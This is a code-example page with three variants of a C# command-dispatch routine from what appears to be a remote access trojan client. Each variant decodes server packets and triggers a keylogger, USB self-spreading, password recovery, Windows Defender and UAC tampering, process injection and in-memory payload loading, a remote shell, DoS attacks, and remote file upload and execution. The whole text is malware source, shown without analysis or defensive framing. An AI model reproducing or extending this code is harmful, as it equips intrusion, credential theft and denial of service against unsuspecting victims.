Beispiel #1
0
        public static void Read(object data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes((byte[])data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "sendMessage":
                {
                    MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
                    break;
                }

                case "Ping":
                {
                    Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
                    break;
                }


                case "thumbnails":
                {
                    new HandleThumbnails();
                    break;
                }

                case "sendFile":
                {
                    Received();
                    new HandleSendTo().SendToDisk(unpack_msgpack);
                    break;
                }

                case "sendMemory":
                {
                    Received();
                    new HandleSendTo().SendToMemory(unpack_msgpack);
                    break;
                }

                case "recoveryPassword":
                {
                    Received();
                    new HandlerRecovery(unpack_msgpack);
                    break;
                }

                case "defender":
                {
                    new HandleWindowsDefender();
                    break;
                }

                case "uac":
                {
                    new HandleUAC();
                    break;
                }

                case "close":
                {
                    Methods.ClientExit();
                    Environment.Exit(0);
                    break;
                }

                case "restart":
                {
                    Process.Start(Application.ExecutablePath);
                    Methods.ClientExit();
                    Environment.Exit(0);
                    break;
                }

                case "uninstall":
                {
                    new HandleUninstall();
                    break;
                }

                case "usbSpread":
                {
                    new HandleLimeUSB().Run();
                    break;
                }

                case "remoteDesktop":
                {
                    new HandleRemoteDesktop(unpack_msgpack);
                    break;
                }

                case "processManager":
                {
                    switch (unpack_msgpack.ForcePathObject("Option").AsString)
                    {
                    case "List":
                    {
                        new HandleProcessManager().ProcessList();
                        break;
                    }

                    case "Kill":
                    {
                        new HandleProcessManager().ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
                        break;
                    }
                    }
                }
                break;

                case "fileManager":
                {
                    switch (unpack_msgpack.ForcePathObject("Command").AsString)
                    {
                    case "getDrivers":
                    {
                        new FileManager().GetDrivers();
                        break;
                    }

                    case "getPath":
                    {
                        new FileManager().GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
                        break;
                    }

                    case "uploadFile":
                    {
                        string fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
                        if (File.Exists(fullPath))
                        {
                            File.Delete(fullPath);
                            Thread.Sleep(500);
                        }
                        unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
                        break;
                    }

                    case "reqUploadFile":
                    {
                        new FileManager().ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString);;
                        break;
                    }

                    case "deleteFile":
                    {
                        string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
                        File.Delete(fullPath);
                        break;
                    }

                    case "execute":
                    {
                        string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
                        Process.Start(fullPath);
                        break;
                    }
                    }
                }
                break;

                case "socketDownload":
                {
                    new FileManager().DownnloadFile(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("DWID").AsString);
                    break;
                }

                case "botKiller":
                {
                    new HandleBotKiller().RunBotKiller();
                    break;
                }

                case "keyLogger":
                {
                    FileManager fileManager = new FileManager();
                    string      isON        = unpack_msgpack.ForcePathObject("isON").AsString;
                    if (isON == "true")
                    {
                        new Thread(() =>
                            {
                                HandleLimeLogger.isON = true;
                                HandleLimeLogger.Run();
                            }).Start();
                    }
                    else
                    {
                        HandleLimeLogger.isON = false;
                    }
                    break;
                }

                case "visitURL":
                {
                    string url = unpack_msgpack.ForcePathObject("URL").AsString;
                    if (url.StartsWith("http"))
                    {
                        Process.Start(url);
                    }
                    break;
                }

                case "dos":
                {
                    switch (unpack_msgpack.ForcePathObject("Option").AsString)
                    {
                    case "postStart":
                    {
                        ctsDos = new CancellationTokenSource();
                        new HandleDos().DosPost(unpack_msgpack);
                        break;
                    }

                    case "postStop":
                    {
                        ctsDos.Cancel();
                        break;
                    }
                    }
                    break;
                }

                case "shell":
                {
                    HandleShell.StarShell();
                    break;
                }

                case "shellWriteInput":
                {
                    if (HandleShell.ProcessShell != null)
                    {
                        HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString);
                    }
                    break;
                }

                case "chat":
                {
                    new HandlerChat().CreateChat();
                    break;
                }

                case "chatWriteInput":
                {
                    new HandlerChat().WriteInput(unpack_msgpack);
                    break;
                }

                case "chatExit":
                {
                    new HandlerChat().ExitChat();
                    break;
                }

                case "pcOptions":
                {
                    new HandlePcOptions(unpack_msgpack.ForcePathObject("Option").AsString);
                    break;
                }

                case "reportWindow":
                {
                    new HandleReportWindow(unpack_msgpack);
                    break;
                }


                case "torrent":
                {
                    new HandleTorrent(unpack_msgpack);
                    break;
                }

                case "executeDotNetCode":
                {
                    new HandlerExecuteDotNetCode(unpack_msgpack);
                    break;
                }
                }
            }
            catch (Exception ex)
            {
                Error(ex.Message);
            }
        }
Beispiel #2
0
        public static void Read(object Data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes((byte[])Data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "sendMessage":
                {
                    MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
                }
                break;

                case "Ping":
                {
                    Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
                }
                break;

                case "sendFile":
                {
                    Received();
                    string FullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
                    unpack_msgpack.ForcePathObject("File").SaveBytesToFile(FullPath);
                    Process.Start(FullPath);
                    if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
                    {
                        Uninstall();
                    }
                }
                break;

                case "sendMemory":
                {
                    Received();
                    byte[]   Buffer     = unpack_msgpack.ForcePathObject("File").GetAsBytes();
                    string   Injection  = unpack_msgpack.ForcePathObject("Inject").AsString;
                    byte[]   Plugin     = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes();
                    object[] parameters = new object[] { Buffer, Injection, Plugin };
                    Thread   thread     = null;
                    if (Injection.Length == 0)
                    {
                        thread = new Thread(new ParameterizedThreadStart(SendToMemory.Reflection));
                    }
                    else
                    {
                        thread = new Thread(new ParameterizedThreadStart(SendToMemory.RunPE));
                    }
                    thread.Start(parameters);
                }
                break;

                case "close":
                {
                    try
                    {
                        ClientSocket.Client.Shutdown(SocketShutdown.Both);
                    }
                    catch { }
                    Environment.Exit(0);
                }
                break;

                case "uninstall":
                {
                    Uninstall();
                }
                break;

                case "usbSpread":
                {
                    LimeUSB limeUSB = new LimeUSB();
                    limeUSB.Run();
                }
                break;

                case "remoteDesktop":
                {
                    switch (unpack_msgpack.ForcePathObject("Option").AsString)
                    {
                    case "false":
                    {
                        RemoteDesktop.RemoteDesktop_Status = false;
                    }
                    break;

                    case "true":
                    {
                        RemoteDesktop.RemoteDesktop_Status = true;
                        RemoteDesktop.CaptureAndSend();
                    }
                    break;
                    }
                }
                break;

                case "processManager":
                {
                    switch (unpack_msgpack.ForcePathObject("Option").AsString)
                    {
                    case "List":
                    {
                        ProcessManager.ProcessList();
                    }
                    break;

                    case "Kill":
                    {
                        ProcessManager.ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
                    }
                    break;
                    }
                }
                break;

                case "fileManager":
                {
                    switch (unpack_msgpack.ForcePathObject("Command").AsString)
                    {
                    case "getDrivers":
                    {
                        FileManager fileManager = new FileManager();
                        fileManager.GetDrivers();
                    }
                    break;

                    case "getPath":
                    {
                        FileManager fileManager = new FileManager();
                        fileManager.GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
                    }
                    break;

                    case "uploadFile":
                    {
                        string FullPath = unpack_msgpack.ForcePathObject("Name").AsString;
                        unpack_msgpack.ForcePathObject("File").SaveBytesToFile(FullPath);
                    }
                    break;

                    case "deleteFile":
                    {
                        string FullPath = unpack_msgpack.ForcePathObject("File").AsString;
                        File.Delete(FullPath);
                    }
                    break;

                    case "execute":
                    {
                        string FullPath = unpack_msgpack.ForcePathObject("File").AsString;
                        Process.Start(FullPath);
                    }
                    break;
                    }
                }
                break;

                case "socketDownload":
                {
                    FileManager fileManager = new FileManager();
                    string      file        = unpack_msgpack.ForcePathObject("File").AsString;
                    string      dwid        = unpack_msgpack.ForcePathObject("DWID").AsString;
                    fileManager.DownnloadFile(file, dwid);
                }
                break;

                case "botKiller":
                {
                    BotKiller botKiller = new BotKiller();
                    botKiller.RunBotKiller();
                }
                break;

                case "keyLogger":
                {
                    FileManager fileManager = new FileManager();
                    string      isON        = unpack_msgpack.ForcePathObject("isON").AsString;
                    if (isON == "true")
                    {
                        new Thread(() =>
                            {
                                LimeLogger.isON = true;
                                LimeLogger.Run();
                            }).Start();
                    }
                    else
                    {
                        LimeLogger.isON = false;
                    }
                }
                break;
                }
            }
            catch { }
        }
Beispiel #3
0
        public static void Read(object data)
        {
            try
            {
                MsgPack unpack_msgpack = new MsgPack();
                unpack_msgpack.DecodeFromBytes((byte[])data);
                switch (unpack_msgpack.ForcePathObject("Packet").AsString)
                {
                case "sendMessage":
                {
                    MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
                    break;
                }

                case "Ping":
                {
                    Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
                    break;
                }


                case "thumbnails":
                {
                    new HandleGetScreenShot();
                    break;
                }

                case "sendFile":
                {
                    Received();
                    new HandleSendTo().SendToDisk(unpack_msgpack);
                    break;
                }

                case "sendMemory":
                {
                    Received();
                    new HandleSendTo().SendToMemory(unpack_msgpack);
                    break;
                }

                case "recoveryPassword":
                {
                    new Recovery.Recovery();
                    break;
                }

                case "defender":
                {
                    new HandleWindowsDefender();
                    break;
                }

                case "uac":
                {
                    new HandleUAC();
                    break;
                }

                case "close":
                {
                    try
                    {
                        ClientSocket.Client.Shutdown(SocketShutdown.Both);
                        ClientSocket.Client.Dispose();
                    }
                    catch { }
                    Environment.Exit(0);
                    break;
                }

                case "restart":
                {
                    try
                    {
                        ClientSocket.Client.Shutdown(SocketShutdown.Both);
                        ClientSocket.Client.Dispose();
                    }
                    catch { }
                    Process.Start(Application.ExecutablePath);
                    Environment.Exit(0);
                    break;
                }

                case "uninstall":
                {
                    new HandleUninstall();
                    break;
                }

                case "usbSpread":
                {
                    HandleLimeUSB limeUSB = new HandleLimeUSB();
                    limeUSB.Run();
                    break;
                }

                case "remoteDesktop":
                {
                    HandleRemoteDesktop remoteDesktop = new HandleRemoteDesktop();
                    remoteDesktop.CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger));
                    break;
                }

                case "processManager":
                {
                    switch (unpack_msgpack.ForcePathObject("Option").AsString)
                    {
                    case "List":
                    {
                        new HandleProcessManager().ProcessList();
                        break;
                    }

                    case "Kill":
                    {
                        new HandleProcessManager().ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
                        break;
                    }
                    }
                }
                break;

                case "fileManager":
                {
                    switch (unpack_msgpack.ForcePathObject("Command").AsString)
                    {
                    case "getDrivers":
                    {
                        FileManager fileManager = new FileManager();
                        fileManager.GetDrivers();
                        break;
                    }

                    case "getPath":
                    {
                        FileManager fileManager = new FileManager();
                        fileManager.GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
                        break;
                    }

                    case "uploadFile":
                    {
                        string fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
                        if (File.Exists(fullPath))
                        {
                            File.Delete(fullPath);
                            Thread.Sleep(500);
                        }
                        unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
                        break;
                    }

                    case "deleteFile":
                    {
                        string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
                        File.Delete(fullPath);
                        break;
                    }

                    case "execute":
                    {
                        string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
                        Process.Start(fullPath);
                        break;
                    }
                    }
                }
                break;

                case "socketDownload":
                {
                    FileManager fileManager = new FileManager();
                    string      file        = unpack_msgpack.ForcePathObject("File").AsString;
                    string      dwid        = unpack_msgpack.ForcePathObject("DWID").AsString;
                    fileManager.DownnloadFile(file, dwid);
                    break;
                }

                case "botKiller":
                {
                    HandleBotKiller botKiller = new HandleBotKiller();
                    botKiller.RunBotKiller();
                    break;
                }

                case "keyLogger":
                {
                    FileManager fileManager = new FileManager();
                    string      isON        = unpack_msgpack.ForcePathObject("isON").AsString;
                    if (isON == "true")
                    {
                        new Thread(() =>
                            {
                                HandleLimeLogger.isON = true;
                                HandleLimeLogger.Run();
                            }).Start();
                    }
                    else
                    {
                        HandleLimeLogger.isON = false;
                    }
                    break;
                }

                case "visitURL":
                {
                    string url = unpack_msgpack.ForcePathObject("URL").AsString;
                    if (url.StartsWith("http"))
                    {
                        Process.Start(url);
                    }
                    break;
                }

                case "dos":
                {
                    switch (unpack_msgpack.ForcePathObject("Option").AsString)
                    {
                    case "postStart":
                    {
                        HandleDos handleDos = new HandleDos();
                        cts = new CancellationTokenSource();
                        handleDos.DosPost(unpack_msgpack);
                        break;
                    }

                    case "postStop":
                    {
                        cts.Cancel();
                        break;
                    }
                    }
                    break;
                }
                }
            }
            catch { }
        }